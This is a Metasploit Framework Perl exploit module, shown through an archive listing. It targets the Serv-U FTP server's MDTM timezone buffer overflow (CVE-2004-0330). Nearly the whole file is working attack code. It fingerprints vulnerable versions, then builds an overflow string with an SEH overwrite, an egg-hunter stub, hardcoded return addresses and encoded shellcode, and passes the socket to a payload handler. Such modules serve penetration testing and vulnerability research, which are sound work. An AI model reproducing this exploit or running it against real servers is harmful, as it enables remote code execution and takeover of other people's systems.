home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / servu_mdtm_overflow.pm < prev    next >
Text File  |  2006-06-30  |  8KB  |  312 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::servu_mdtm_overflow;
  11.  
  12. use base "Msf::Exploit";
  13. use strict;
  14. use Pex::Searcher;
  15. use Pex::x86;
  16. use Pex::Text;
  17.  
  18. my $advanced =
  19.   {
  20.     'SEHOffset'       => ['47', 'Offset from beginning of timezone to SEH'],
  21.     'ForceDoubling'   => ['2', '1 to force \xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect'],
  22.   };
  23.  
  24. my $info =
  25.   {
  26.     'Name'    => 'Serv-U FTPD MDTM Overflow',
  27.     'Version' => '$Revision: 1.38 $',
  28.     'Authors' =>
  29.       [
  30.         'spoonm <ninjatools [at] hush.com>',
  31.         'Basic vector from: Servu2.c lion <lion [at] cnhonker.net>',
  32.       ],
  33.  
  34.     'Description'  => Pex::Text::Freeform(qq{
  35.     This is an exploit for the Serv-U's MDTM command timezone overflow.
  36.     It has been heavily tested against versions
  37.     4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with
  38.     success against nt4/2k/xp/2k3. I have also had success against version
  39.     3, but only tested 1 version/os. The bug is in all versions
  40.     prior to 5.0.0.4, but this exploit will not work against versions not
  41.     listed above. You only get one shot, but it should be OS/SP independent.
  42.  
  43.     This exploit is a single hit, the service dies after the shellcode
  44.     finishes execution.
  45. }),
  46.  
  47.     'Arch'  => [ 'x86' ],
  48.     'OS'    => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
  49.     'Priv'  => 0,
  50.  
  51.     'UserOpts'  =>
  52.       {
  53.         'RHOST' => [1, 'ADDR', 'The target address'],
  54.         'RPORT' => [1, 'PORT', 'The target port', 21],
  55.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  56.         'USER'  => [1, 'DATA', 'Username', 'ftp'],
  57.         'PASS'  => [1, 'DATA', 'Password', 'ftp'],
  58.       },
  59.  
  60.     'Payload' =>
  61.       {
  62.         'Space'  => 1000,
  63.         'BadChars'  => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
  64.         'MinNops' => 0,
  65.         'MaxNops' => 0,
  66.       },
  67.  
  68.     'Nop' =>
  69.       {
  70.         'ModStack' => 0, # We don't use nops, but if we did...
  71.       },
  72.  
  73.     'Refs'  =>
  74.       [
  75.         ['OSVDB', '4073'],
  76.         ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'],
  77.         ['URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'],
  78.         ['URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'],
  79.         ['MIL', '59'],
  80.         ['BID', '9751'],
  81.         ['CVE', '2004-0330'],
  82.       ],
  83.  
  84.     'DefaultTarget' => 0,
  85.     'Targets' =>
  86.       [
  87.         ['Serv-U Uber-Leet Universal ServUDaemon.exe', 0x00401877],
  88.         ['Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe', 0x0040164d],
  89.         ['Serv-U 5.0.0.0 ServUDaemon.exe', 0x0040167e],
  90.       ],
  91.  
  92.     'Keys' => ['servu'],
  93.  
  94.     'DisclosureDate' => 'Feb 26 2004',
  95.   };
  96.  
  97. # From 5.0.0.4 Change Log
  98. # "* Fixed bug in MDTM command that potentially caused the daemon to crash."
  99. #
  100. # Nice way to play it down boys
  101. #
  102. # Connected to ftp2.rhinosoft.com.
  103. # 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
  104. #
  105. # Heh :)
  106.  
  107. sub new {
  108.     my $class = shift;
  109.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  110.     return($self);
  111. }
  112.  
  113. sub Check {
  114.     my $self = shift;
  115.     my $targetHost  = $self->GetVar('RHOST');
  116.     my $targetPort  = $self->GetVar('RPORT');
  117.  
  118.     my $s = Msf::Socket::Tcp->new
  119.       (
  120.         'PeerAddr'  => $targetHost,
  121.         'PeerPort'  => $targetPort,
  122.         'LocalPort' => $self->GetVar('CPORT'),
  123.         'SSL'       => $self->GetVar('SSL'),
  124.       );
  125.  
  126.     if ($s->IsError) {
  127.         $self->PrintError;
  128.         return $self->CheckCode('Connect');
  129.     }
  130.  
  131.     my $r;
  132.  
  133.     $r = $self->response($s);
  134.     goto NORESP if(!$r);
  135.     if($r =~ /Serv-U FTP Server v4\.1/) {
  136.         $self->PrintLine('[*] Found version 4.1.0.3, exploitable.');
  137.         return $self->CheckCode('Appears');
  138.     }
  139.     elsif($r =~ /Serv-U FTP Server v5\.0/) {
  140.         $self->PrintLine('[*] Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
  141.         return $self->CheckCode('Appears');
  142.     }
  143.     elsif($r =~ /Serv-U FTP Server v4\.0/) {
  144.         $self->PrintLine('[*] Found version 4.0.0.4 or 4.1.0.0, additional check.');
  145.     }
  146.     elsif($r =~ /Serv-U FTP Server/) {
  147.         $self->PrintLine('[*] Looks like Serv-U, but not a version I know.');
  148.         return $self->CheckCode('Appears');
  149.     }
  150.     else {
  151.         $self->PrintLine('[*] Banner doesn\'t look like Serv-U, possible it still is.');
  152.         return $self->CheckCode('Safe');
  153.     }
  154.  
  155.     $s->Send("USER " . $self->GetVar('USER') . "\r\n");
  156.     goto NORESP if(!$self->response($s));
  157.  
  158.     $s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
  159.     goto NORESP if(!$self->response($s));
  160.  
  161.     $s->Send("P\@SW\r\n");
  162.     $r = $self->response($s);
  163.     goto NORESP if(!$r);
  164.  
  165.     if($r =~ /500/) {
  166.         $self->PrintLine('[*] Found version 4.0.0.4, exploitable');
  167.         return $self->CheckCode('Appears');
  168.     }
  169.     else {
  170.         $self->PrintLine('[*] Found version 4.1.0.0, exploitable');
  171.         return $self->CheckCode('Appears');
  172.     }
  173.  
  174.     # quit is for losers, exiting uncleanly rocks.
  175.     return $self->CheckCode('Safe');
  176.  
  177.     # dirty
  178.     NORESP:
  179.     $self->PrintLine('[*] No response from FTP server');
  180.     return $self->CheckCode('Generic');
  181. }
  182.  
  183. sub Exploit {
  184.     my $self = shift;
  185.     my $targetHost  = $self->GetVar('RHOST');
  186.     my $targetPort  = $self->GetVar('RPORT');
  187.     my $targetIndex = $self->GetVar('TARGET');
  188.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  189.     my $sehOffset   = $self->GetLocal('SEHOffset');
  190.  
  191.     my $s = Msf::Socket::Tcp->new
  192.       (
  193.         'PeerAddr'  => $targetHost,
  194.         'PeerPort'  => $targetPort,
  195.         'LocalPort' => $self->GetVar('CPORT'),
  196.         'SSL'       => $self->GetVar('SSL'),
  197.       );
  198.  
  199.     if ($s->IsError) {
  200.         $self->PrintLine('Error creating socket: '.$s->GetError);
  201.         return;
  202.     }
  203.  
  204.     my $r;
  205.  
  206.     $r = $self->response($s);
  207.     goto NORESP if(!$r);
  208.  
  209.     #  $targetIndex = 1 if(!$targetIndex && $r =~ /v4\.1/);
  210.     #  $targetIndex = 1 if(!$targetIndex && $r =~ /v5\.0/);
  211.  
  212.     $s->Send("USER " . $self->GetVar('USER') . "\r\n");
  213.     goto NORESP if(!$self->response($s));
  214.  
  215.     $s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
  216.     goto NORESP if(!$self->response($s));
  217.  
  218.     # Autodetect no more
  219.  
  220.     #  if(!$targetIndex) {
  221.     #    $s->Send("P\@SW\r\n");
  222.     #    $r = $self->response($s);
  223.     #    goto NORESP if(!$r);
  224.     #
  225.     #    $targetIndex = $r =~ /500/ ? 1 : 1;
  226.     #  }
  227.  
  228.     # Should have paid more attention to skylined's exploit, only after figuring
  229.     # out how my payloads were getting transformed did I remember seeing \xff
  230.     # doubling in his CHMOD exploit, arg!
  231.     if($self->GetLocal('ForceDoubling') == 1) {
  232.         $self->PrintLine('[*] ForceDoubling enabled, enabling \xff doubling.');
  233.         $shellcode = xffDoubler($shellcode);
  234.     }
  235.     elsif($self->GetLocal('ForceDoubling') == 0) {
  236.         $self->PrintLine('[*] ForceDoubling disabled, disabling \xff doubling.');
  237.     }
  238.     else {
  239.         $s->Send("P\@SW\r\n");
  240.         $r = $self->response($s);
  241.         goto NORESP if(!$r);
  242.         if($r =~ /^500/) {
  243.             $self->PrintLine('[*] Serv-U 4.0.0.4 detected, enabling \xff doubling.');
  244.             $shellcode = xffDoubler($shellcode);
  245.         }
  246.     }
  247.  
  248.     my $target = $self->Targets->[$targetIndex];
  249.     $self->PrintLine('[*] Trying to exploit target ' . $target->[0]);
  250.  
  251.     my $searcher = Pex::Searcher->new("\x34\x33\x32\x31");
  252.  
  253.     # Searcher expects address to start scanning at in edi
  254.     # Since we got here via a pop pop ret, we can just the address of the jmp
  255.     # off the stack, add esp, BYTE -4 ; pop edi
  256.     my $searchCode = "\x83\xc4\xfc\x5f" . $searcher->Searcher . 'BB';
  257.  
  258.     if($sehOffset < length($searchCode)) {
  259.         $self->PrintLine('[*] Not enough room for search code.');
  260.         return;
  261.     }
  262.  
  263.     my $jmpBack = Pex::x86::JmpShort('$+' . (-1 * length($searchCode))) . 'BB';
  264.  
  265.     #  $jmpBack = "\xcc\xcc\xcc\xcc";
  266.  
  267.     my $command = 'MDTM 20031111111111+' . ('A' x ($sehOffset - length($searchCode)));
  268.     $command .= $searchCode;
  269.     $command .= $jmpBack . pack('V', $target->[1]);
  270.     $command .= ' /' . $searcher->StartTag . $shellcode .  $searcher->EndTag . "\r\n";
  271.  
  272.     $s->Send($command);
  273.  
  274.     $r = $self->response($s, 2);
  275.     if($r) {
  276.         $self->PrintLine('[*] Received data back from server, not a good sign, maybe newer than 5.0.0.0?');
  277.     }
  278.  
  279.     $self->Handler($s);
  280.     return;
  281.  
  282.     # dirty
  283.     NORESP:
  284.     $self->PrintLine('[*] No response from FTP server');
  285.     return;
  286. }
  287.  
  288. sub response {
  289.     my $self = shift;
  290.     my $sock = shift;
  291.     my $r;
  292.     if(@_) {
  293.         my $timeout = shift;
  294.         $r = $sock->Recv(-1, $timeout);
  295.     }
  296.     else {
  297.         $r = $sock->Recv(-1);
  298.     }
  299.     chomp($r);
  300.     $r =~ s/\r//g;
  301.     $self->PrintLine("[*] REMOTE> $r") if($r);
  302.     return($r);
  303. }
  304.  
  305. # Serv-U is dumb. Doubling for 4.0.0.4
  306. sub xffDoubler {
  307.     my $payload = shift;
  308.     $payload =~ s/\xff/\xff\xff/g;
  309.     return($payload);
  310. }
  311.  
  312.